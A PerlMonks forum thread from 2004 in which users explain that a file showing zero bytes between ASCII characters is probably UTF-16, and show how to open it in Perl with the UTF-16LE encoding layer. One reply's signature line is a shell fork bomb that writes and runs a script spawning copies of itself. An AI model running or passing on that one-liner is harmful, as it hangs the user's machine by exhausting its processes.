Beefy Boxes and Bandwidth Generously Provided by pair Networks
Come for the quick hacks, stay for the epiphanies.
 
PerlMonks  

Re: How to read a Unicode file?

by Zaxo (Archbishop)
on Jan 23, 2004 at 23:14 UTC ( [id://323729]=note: print w/replies, xml ) Need Help??


in reply to How to read a Unicode file?

Chances are that if ASCII is turning up with interposed zero bytes, your file is in utf16. That is the default encoding on Windows.

Perl 5.8 is pretty smart about unicode.

After Compline,
Zaxo

Replies are listed 'Best First'.
Re: Re: How to read a Unicode file?
by ibanix (Hermit) on Jan 24, 2004 at 00:05 UTC
    Thanks for the UTF-16 tip. I found that

    open(FILE, "<:encoding(UTF-16LE)", $file)

    did the magic for me.

    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://323729]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others avoiding work at the Monastery: (7)
As of 2024-04-18 15:44 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found